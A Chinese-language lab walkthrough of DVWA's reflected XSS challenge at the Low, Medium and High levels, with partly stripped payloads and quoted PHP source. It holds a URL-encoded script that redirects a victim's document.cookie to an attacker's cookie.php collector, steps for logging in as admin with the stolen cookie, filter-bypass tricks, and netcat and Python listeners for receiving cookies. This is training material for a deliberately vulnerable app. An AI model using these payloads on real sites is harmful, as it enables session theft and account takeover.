DVWA--反射型XSS(Reflected)攻略详解

目录

反射型XSS攻击

Low等级

Medium等级

High等级

Impossible等级

补充


反射型XSS攻击

        又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击) 恶意代码并没有保存在目标网站,由浏览器解析脚本。

Low等级

输入测试漏洞,成功弹框

注:可以弹窗的函数有alert(),confirm(),prompt()

DVWA--反射型XSS(Reflected)攻略详解_第1张图片

这里使用本地的服务器来获取用户的cookie

在自己服务器上的www目录下创建一个cookie.php文件,内容如下:

编写js代码将页面的cookie发送到cookie.php



//document.location将页面的内容指定到指定位置。

构造URL

http://localhost/dvwa/vulnerabilities/xss_r/?name=

对参数js代码部分进行URL编码

http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D'http%3A%2F%2F127.0.0.1%2Fcookie.php%3Fcookie%3D'%2Bdocument.cookie%3B%3C%2Fscript%3E%23%0A

发送URL给用户

当受害者的浏览器有该网站的cookie的情况下点击该链接时,会跳转到http://127.0.0.1/cookie.php,并将cookie写入到了同目录下的cookie.txt中,攻击者就可以在自己服务器上获取到该受害者的cookie

DVWA--反射型XSS(Reflected)攻略详解_第2张图片

成功拿到受害者的cookie

利用cookie登陆DVWA的首页

F12键,修改当前浏览器的cookie,然后刷新访问DVWA的index.php页面,就能以管理员的身份进入,如下图

DVWA--反射型XSS(Reflected)攻略详解_第3张图片

观察源代码,可以发现:

Hello ' . $_GET[ 'name' ] . '
'; } ?>

array_key_exists检查数组中是否有指定的键名

·  X-XSS-Protection: 1强制XSS保护(如果XSS保护被用户禁用,则有用)

·  X-XSS-Protection: 0禁用XSS保护

可以看到,在low级别中没用进行任何的对XSS攻击的防御措施,用户输入什么都会被执行。

Medium等级

使用继续测试是否有XSS漏洞

DVWA--反射型XSS(Reflected)攻略详解_第4张图片

发现,成功弹框

双写绕过:
输入ript>alert(/xss/),成功弹框

输入其他标签:

输入,成功弹窗

DVWA--反射型XSS(Reflected)攻略详解_第5张图片

利用之前Low等级时构造的js的方法重新构造url发送给送给受害者,就可获取到受害者的cookie

观察源代码,可以发现:

', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "
Hello ${name}
"; } ?>

$name变量使用了str_replace函数过滤了测试是否有XSS漏洞:

DVWA--反射型XSS(Reflected)攻略详解_第6张图片

可以发现只显示>,前面所有字符被过滤

那尝试使用大小写混淆或者双写绕过,

或者ript>alert(/xss/)

但依然发现所有字符被过滤:

DVWA--反射型XSS(Reflected)攻略详解_第7张图片

既然script标签代码被过滤,那就尝试上面用到的,使用img、body等标签的事件或者iframe等标签的src注入恶意js代码。

在输入框中输入,成功弹窗:

DVWA--反射型XSS(Reflected)攻略详解_第8张图片

这里构造下攻击链接,利用ip地址为192.168.238.50的kali来接收cookie

然后监听kali的8080端口,如果受害者访问了该链接,则可获取其cookie 

监听方法:

1.利用netcat 

在kali命令行运行

nc -vlp 8080

2.利用python

Python -m SimpleHTTPServer 8080

观察下high等级的源代码,可以发现:

Hello ${name}
"; } ?>

这次的$name变量使用的是preg_replace函数,这个函数用于正则表达式的搜索和替换了

编码过滤原理:

        当浏览器接受到一份HTML代码后,会对标签之间(

xxx

等,

解码后为,一样可以弹窗。但如果是

        解码后为 就不要指望他可以弹窗了。因为解码出来的');alert('111仍为被当作字符串而不会影响上下文。

你可能感兴趣的:(#,DVWA,信息安全,xss,安全)